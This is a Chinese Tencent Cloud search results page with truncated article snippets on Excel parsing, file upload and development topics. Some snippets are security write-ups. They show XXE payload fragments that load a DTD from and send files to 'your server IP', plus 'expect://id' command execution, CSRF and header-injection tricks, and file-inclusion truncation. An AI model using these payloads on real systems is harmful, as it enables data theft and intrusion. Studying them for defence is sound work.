文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

SRC漏洞挖掘经验分享

文件解析造成的XXE 网站存在一个有意思的功能点，通过上传Excel会将内容显示在页面上，也就是说后端会解析Excel Excel是通过XML来存储数据的，也就是说网站解析了XML，那么我们就可以在XML...ENTITY % b SYSTEM "http://你服务器的IP/x.dtd">%b;%c;%xxe;]> 在自己服务器构造x.dtd，并开启access.log日志 服务器IP/XXE'>"> 使用网站解析Excel，查看日志 成功调用外部实体 利用方式不用多说了吧，可以利用伪协议读取文件或系统命令执行...ENTITY % xxe SYSTEM 'http://你服务器IP/%file;'>"> CSRF与逻辑漏洞的组合拳 登录上后修改密保(忘记密码时通过回答问题来修改密码)进行抓包 尝试用...不然它就没有意义了，也就是说如果存在注入，我们无需登录即可将JS注入用户界面，进而在用户登录后造成攻击 现在的问题是，如何修改IP，也就是探究网站识别用户IP的方式是什么 简单试了一下添加XFF请求头，

59521
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    SRC漏洞挖掘经验分享

    文件解析造成的XXE网站存在一个有意思的功能点，通过上传Excel会将内容显示在页面上，也就是说后端会解析ExcelExcel是通过XML来存储数据的，也就是说网站解析了XML，那么我们就可以在XML中注入语句来尝试攻击新建一个...Excel 工作表.xlsx"服务器IP/XXE'>">使用网站解析Excel，查看日志成功调用外部实体利用方式不用多说了吧，可以利用伪协议读取文件或系统命令执行服务器IP/%file;'>">CSRF与逻辑漏洞的组合拳登录上后修改密保(忘记密码时通过回答问题来修改密码)进行抓包尝试用GET请求来代替...，也就是说如果存在注入，我们无需登录即可将JS注入用户界面，进而在用户登录后造成攻击现在的问题是，如何修改IP，也就是探究网站识别用户IP的方式是什么简单试了一下添加XFF请求头，X-Forwarded-For

    1.5K20

    《WASM驱动本地PDF与Excel预览组件的深度实践》

    文件读取环节，需借助浏览器的File API读取用户上传的文件二进制数据—这里要注意区分文件格式：PDF文件可直接读取为ArrayBuffer传递给WASM模块，而Excel文件因编码格式差异（如.xls...某企业需要为内部员工提供文档预览功能，员工可上传PDF格式的合同、Excel格式的报表，在系统中直接预览内容，无需下载本地软件。...在引入WASM驱动的解析预览组件前，该系统采用传统的服务器解析方案：员工上传文件至后端，后端使用Poppler与Libxl解析后生成HTML或图片，再返回给前端预览。...这种方案存在三个明显问题：一是网络延迟高，10MB的PDF文件上传+解析+返回需耗时5-10秒；二是服务器压力大，高峰期有上百名员工同时上传文件，后端服务器CPU占用率经常超过80%；三是隐私风险，合同中的敏感信息需传输至服务器...首先是“损坏文件的处理”：用户上传的文件可能存在损坏（如PDF文件头部缺失、Excel文件格式错误），WASM解析模块遇到这类文件时可能会崩溃，导致整个组件无法正常工作。

    38300

    SpringBoot + Vue 前后端分离项目实现文件上传至本地以及文件下载功能

    SpringBoot + Vue 实现文件上传功能 一、需求说明 二、文件上传功能 （上传在我们计算机的本地） 2.1 SpringBoot 后端部分功能实现 —— 配置文件部分 2.2 SpringBoot...，在这个系统中遇到了一个需求，就是用户需要上传一个 Excel 文件到服务器端，服务器端对文件解析，然后将解析得到的数据存入数据库当中。...目前使用 Java 实现对 Excel 解析的功能已经实现。...，我们今天的重心是如何实现在 Vue CLI4 创建的项目中，实现文件的上传功能。...二、文件上传功能 （上传在我们计算机的本地） 2.1 SpringBoot 后端部分功能实现 —— 配置文件部分 在 application.yml 文件中做如下相关配置 是否开启文件上传的功能，以及配置文件写入大小

    12.3K01

    POI解析Excel文件并利用SpringMVC上传下载

    前言​本文主要介绍的是利用POI技术解析Excel文件，包括将Excel文件封装成一个实体对象List和将实体对象List转换文Excel文件 ，本人也是多次会用了POI技术和SpringMVC上传下载技术...，所以将文件上传保存在本地的另一个位置 3.创建上传目录 realpath="D:/uploadExcel"（如果目录不存在）4.将上传文件保存在上传目录中new File(realpath,fileName...由于浏览器不能显示文件的绝对路径，所以将文件上传保存在本地的另一个位置，而导入系统需要全路径才能获取得到该文件。...，所以将文件上传保存在本地的另一个位置// * 3.创建上传目录 realpath="D:/uploadExcel"（如果目录不存在）String realpath = request.getSession...，所以将文件上传保存在本地的另一个位置// * 3.创建上传目录 realpath="D:/uploadExcel"（如果目录不存在）//String realpath = "D:/uploadExcel

    56920

    XML外部实体（XXE）注入原理解析及实战案例全汇总

    ENTITY xxe SYSTEM "expect://id" >执行命令； c.）无回显读取本地敏感文件(Blind OOB XXE)，敏感数据从应用服务器传输到攻击者的服务器上。...d.)通过Blind XXE错误消息检索数据是否存在，攻击者可以触发包含敏感数据的解析错误消息。 具体的攻击手段和场景在案例中说明。...一个重要的测试技巧，在挖掘XXE漏洞过程中要留意接受.docx 、.xlsx和.pptx格式文件的上传，你可以尝试用winrar等解压文件打开一个excel文件，会发现它其实是个 XML 文件的压缩包，...如Facebok的一个职位页面允许用户上传 .docx 文件，这里使用7zip打开一个docx文件，并在其中插入payload： 存在漏洞： TIPS：关于上传漏洞还可以尝试上传SVG格式，SVG文件使用XML，可以提交恶意SVG图像，从而触及针对XXE漏洞的隐藏攻击面，如图片上传： 3） 修改content-type实现xxe

    19K41

    2021 年最值得使用的 Node.js 框架

    市场对 Node.js 的反应如何？ ?...「什么时候使用 Hapi.js：」 Hapi.js 是开发安全、实时、可扩展和社交媒体应用的理想选择。大多数移动应用开发者都喜欢用 Hapi.js 来创建代理和 API 服务器。...Nest.js 是一个服务器端应用框架，它是为了解放开发者的生产力，让他们的生活变得更轻松而打造的。开发者通常为了更好地组织和管理代码而使用这个 Node.js 框架。...JavaScript 运行在 Web 浏览器内部；然后 JavaScript 运行在 Node.js 容器内的 Meteor 服务器上，支持 HTML 片段、静态资源和 CSS 规则。...如果发现译文存在错误或其他需要改进的地方，欢迎到 掘金翻译计划 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 「本文永久链接」 即为本文在 GitHub 上的 MarkDown 链接。

    7.7K30

    作业收缴系统使用手册和开发手册(自写开源小系统)

    最终可以保存成Excel文件到本地。 ? 学生端 因为学生不是主要服务对象，所有就给了几个需要的界面，学生可以根据已经添加的课程进行上传作业。主界面如下： ?...log logback日志配置，放到服务器要修改日志文件地址(用绝对路径否则日志文件将不存在) 模板引擎和ajax 项目采用thymleaf+html的样式，因为个人开发对于一些参数用thymleaf还是会方便很多...教师端 文件打包成zip： 要将服务器所有已经上传的文件打包成zip文件，要注意打包成zip文件的时候不能在服务器保存—不要占用额外的空间，所有就要用io临时生成zip文件传输到客户端，这就要很好的处理下...谨防异常和文件名乱码等。具体可参考fileController下代码。 接受excel并解析： java解析excel的工具并不多，当前较为流行的apache下的poi。...但是基于poi如果解析excel生成实体类需要对pojo对象继承BaseRowModel类并在字段上给出对应注解： ?

    1.3K40

    最佳实践 | 微搭低代码使用 Excel 创建应用

    本文主要讲解如何使用 Excel 文件来实现应用的快速创建。...Excel 模板、本地 Excel 上传和个人腾讯文档的 Excel 文件，下文会分别讲解如何使用这三种方式进行 Excel 应用的创建。...上传本地 Excel 文件创建 支持上传本地符合格式规范的 Excel 文件，也可以通过下载示例 Excel 模板，在示例模板基础上进行数据修改后上传： Excel 文件格式要求： 表头字段名支持中文和英文...使用腾讯文档创建 1、通过将腾讯文档账号授权给微搭，读取并解析腾讯文档下的 Excel 文件来进行应用的创建。...2、完成腾讯文档授权后，选择对应的 Excel 文件，如下图所示: 3、 对 Excel 文件的解析结果进行确认和字段编辑。

    1.9K30

    百万数据excel导出功能如何实现？|技术创作特训营第一期

    如果走异步，如何通知用户导出结果？如果excel文件太大，目标用户打不开怎么办？我们要如何才能解决这些问题，实现一个百万级别的excel数据快速导出功能呢？...这时，我们可以直接将文件上传到OSS文件服务器上。通过OSS提供的上传接口，将excel上传成功后，会返回文件名称和访问路径。...我们可以将excel名称和访问路径保存到表中，这样的话，后面就可以直接通过浏览器，访问远程excel文件了。而如果将excel文件保存到应用服务器，可能会占用比较多的磁盘空间。...一般建议将应用服务器和文件服务器分开，应用服务器需要更多的内存资源或者CPU资源，而文件服务器需要更多的磁盘资源。...7.通过WebSocket推送通知通过上面的功能已经导出了excel文件，并且上传到了OSS文件服务器上。接下来的任务是要本次excel导出结果，成功还是失败，通知目标用户。

    1.2K30

    ONLYOFFICE历史版本开发技术之二

    //blog.csdn.net/hotqin888/article/details/79690391  1.它只支持word的历史版本，PowerPoint和Excel...4.服务器只保留1个月内的历史版本。 5.能下载下来，可以重新上传进去协作。这是它存在的价值。...它的原理： 当一个协作文档，最后一个人关闭后，协作服务器（下文简写OODS——onlyoffice document server）会返回一条json数据给cms，cms获得这条数据后，解析为结构体，然后做...当下次打开这个文件时候，OO只认updatedtime生成的key，历史版本的key1用存在数据库中的，查历史版本key1，OODS就调用存在它里面的版本出来。...会思考的你可能发现了，那么文件其实不用存在本地（cms）吗？？有了key1不就行了么？ 不行，key1打开的不能编辑。因为看开始的第2点，哈哈。 ? 初步试验代码： //历史版本保留1个月。

    3K20

    堡垒机服务器上传送文件可以实现吗？该怎么操作？

    虽然很多人都有听说过堡垒机，但是对于堡垒机，服务器和本地服务器之间的架构了解不是很多，这也很多人都存在一些认知误区，比如说堡垒机服务器上传送文件可以实现吗？...了解堡垒机与服务器的架构 堡垒机跟服务器的架构并不难理解，本地计算机需要通过ssh验证才能够连接保理剂，而堡垒机需要通过ssh验证连接服务器，本地计算机只能连接一台堡垒机，而堡垒机可以连接多个服务器。...堡垒机服务器传送文件操作步骤 堡垒机服务器上传送文件是可以实现的，首先是要将本地计算机上的文件拷贝到堡垒机上，再登录堡垒机来查看刚才拷贝的文件，之后将文件从堡垒机在拷贝到服务器上，接下来登录服务器就可以查看文件了...如果是想从服务器上下载文件到本地计算机的话，需要去MacOS设置共享权限，设置了共享权限之后，就可以从服务器上往堡垒机上下载文件了，再将文件从堡垒机下载到本地计算机，就可以实现服务器下载文本到本地计算机了...以上就是关于堡垒机服务器上传送文件的相关内容，希望这些内容能够帮助到大家，让大家可以实现堡垒机服务器之间传送文件。如果对操作还不太了解或者不太懂的话，就找专业的人士来帮忙传送文件吧。

    3K20

    小测试

    ，实际上在 web 容器中维护了一系列的 IOC 容器，其中在 ContextLoader 中载入的 IOC 容器作为根上下文而存在于 ServletContext 中。...逻辑删除是名义上的删除，而物理删除是真正的删除。...多图上传是单图上传的升级版，本质上就是多次的单图上传处理； 而大文件上传处理是多文件上传的升级版，本质上就是将大文件切分成多个小文件并实现多文件上传； 断点续传则是大文件上传的升级版，多了一层分片是否已存在的验证逻辑...CONCAT 15课 如何向 Linux 服务器传输文件？ Linux 服务器间可以通过 scp 命令传输文件。...客户端发送请求到 Web 服务器后，Web 服务器（比如 Tomcat）直接从文件目录中获取文件并返回给客户端，客户端解析并渲染显示出来，比如 HTML、CSS、JavaScript、图片等文件。

    2.1K10

    0代码就能做Python数据分析，这个Jupyter插件，用起来就像Excel一样简单

    它弥补了Excel在数据分析上的几个缺陷： Excel无法做大数据分析（大型数据集处理得不好） Excel运行缓慢 Excel无法轻松创建可重复流程 同时，又比SQL和Python更简单、直观。...作者们编写了一种名为Transpiler的程序，有点类似于编译器的功能，采用抽象语法树（AST），解析Excel源代码，并转换成Python的源代码。 ?...当然，用户也可以选择将数据保存在本地。 自动生成Python代码 以分析美国各州的“家庭平均收入”和“允许托运的火车站数量”这两个数据的关系为例。...首先，上传“家庭平均收入”和“允许托运的火车站数量”两份数据。 数据处理的格式是.csv，当然也可以输入Excel文件，并用Mito转成两份.csv文件。 ?...保存分析文件的方法也很简单，文件是以Python编写的，而不是用比较难懂的VBA。 ? 要想重复上面的步骤的话，也非常容易，Mito自带“重复已保存分析步骤”功能，一键就能用同样的方法分析其他数据。

    94210

    CTF实战12 任意文件包含漏洞

    >也叫文件包含漏洞> 这个漏洞只存在于PHP网站中 是由于开发人员编写源码，开放着将可重复使用的代码插入到单个的文件中，并在需要的时候将它们包含在特殊的功能代码文件中，然后包含文件中的代码会被解释执行...由于并没有针对代码中存在文件包含的函数入口做过滤，导致客户端可以提交恶意构造语句提交，并交由服务器端解释执行 文件包含攻击中Web服务器源码里可能存在inlcude()此类文件包含操作函数，可以通过客户端构造提交文件路径...远程文件包含 利用的条件是相关函数内的参数可控，且allow_url_fopen = On 我们先就一个一个的来说一下利用方法 本地文件包含利用方法 本地文件包含漏洞的常规利用方法有以下几个步骤： 发现本地文件包含...； 寻找上传功能； 利用包含漏洞包含解析 小技巧 有上传的时候，可以用包含截断技巧上传 原理 include($_GET['file'] . '.php') 利用方法 %00截断 test.jpg...利用方法 拥有一台远程服务器 在服务器上放置一个不可被本服务器上web中间件解析的文件（txt jpg） 文件内容中包含攻击代码 利用远程包含文件漏洞包含 如 可构造如下攻击URL http://

    1.9K30

    pdf转excel在线转换网站

    文件中的表格和文本转换成可编辑的单元格,xlsx或csv格式,你不需要除了浏览器以外的特殊软件,使用可信的网站,你可以上传pdf,查看工具如何识别表格布局,并在几分钟内下载干净的excel文件,这可以减少大量的复制粘贴工作...,尽量使用数字pdf而不是扫描图片,在下载前检查转换预览以修正列分割和合并单元格,如果网站有选项,选择表格检测或手动选择表格来引导工具,下载后检查excel中的数字格式和日期字段并根据需要调整,这些是我用过的普通做法...,有时我会把文件先用磨针工具软件检查一下以节省时间 隐私和安全注意事项 在上传敏感文档前查看网站的隐私政策,有些站点会在短时间后删除文件,而有些会保留更长时间,对于机密或财务pdf,优先选择宣称安全传输...https和自动删除的服务,如果站点提供在浏览器本地转换,这种方式可以避免把数据传到远程服务器,对私密文件更安全,我有时会为了安全选本地模式或者用磨针工具软件的本地功能 免费与付费转换器 免费工具可以处理小文件或简单文件...常见问题（FAQ）  任何pdf都能准确转换成excel吗? 不一定,数字pdf且表格清晰的转换效果最好,扫描件或复杂布局会出错,需要人工清理。  上传敏感文档安全吗?

    10110

    JavaWeb20-文件上传;下载(Java真正的全栈开发)

    文件上传&下载一.文件上传 1. 文件上传介绍 要将客户端（浏览器）大数据存储到服务器端，不将数据直接存储到数据库中，而是要将数据存储到服务器所在的磁盘上，这就要使用文件上传。...如果使用了commons-fileupload进行文件上传，而上传表单中包含了非上传组件，获取 其值，不能使用request获取. getString()有一个重载的方法 getString(String...文件上传问题-目录分离 当我们上传文件过多，并且保存在同一个目录下时，我们就需要考虑怎样处理它们，因为一个目录下文件过多，不仅降低性能，操作时也不方便。...下载介绍与超链接下载 所谓的下载，其实就是将服务器端的资源通过io流写回到浏览器端。 超链接实现下载 如果文件可以直接被浏览器解析，会直接在浏览器上打开。...案例-下载销售榜单分析 我们下载的文件的格式是csv.它是一种以”.”来分隔的文件，可以使用excel打开 Excel要求它的文件内容必须是gbk(gb2312)(gb18030),也就是我们可以通过response.setCharacterEncoding

    1.2K60

    如何在Ubuntu 16.04上的Jenkins中设置持续集成管道

    我们将使用示例Node.js应用程序来展示如何为项目定义CI/ CD进程。 准备 您需要一台Ubuntu 16.04服务器和至少1G的RAM。...在Jenkins启动并运行后，在服务器上安装Docker。 将Jenkins用户添加到Docker组 在做好所有的准备后，Jenkins和Docker都已经安装在您的服务器上了。...在GitHub帐户中设置演示应用程序 为了演示如何使用Jenkins测试应用程序，我们将使用一个用Hapi.js创建的“hello world”程序。...Test步骤打印另一条消息，然后按package.json文件中的定义运行测试。 我们可以设置Jenkins来监视Jenkinsfile存储库并在引入更改时运行该文件。...为了验证这一点，在我们的GitHub上的存储库页面中，您可以单击克隆或下载按钮左侧的创建新文件按钮： [创建新文件] 在下一页上，选择文件名和一些虚拟内容： [添加内容] 完成后，单击底部的“ 提交新文件

    8.7K30
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券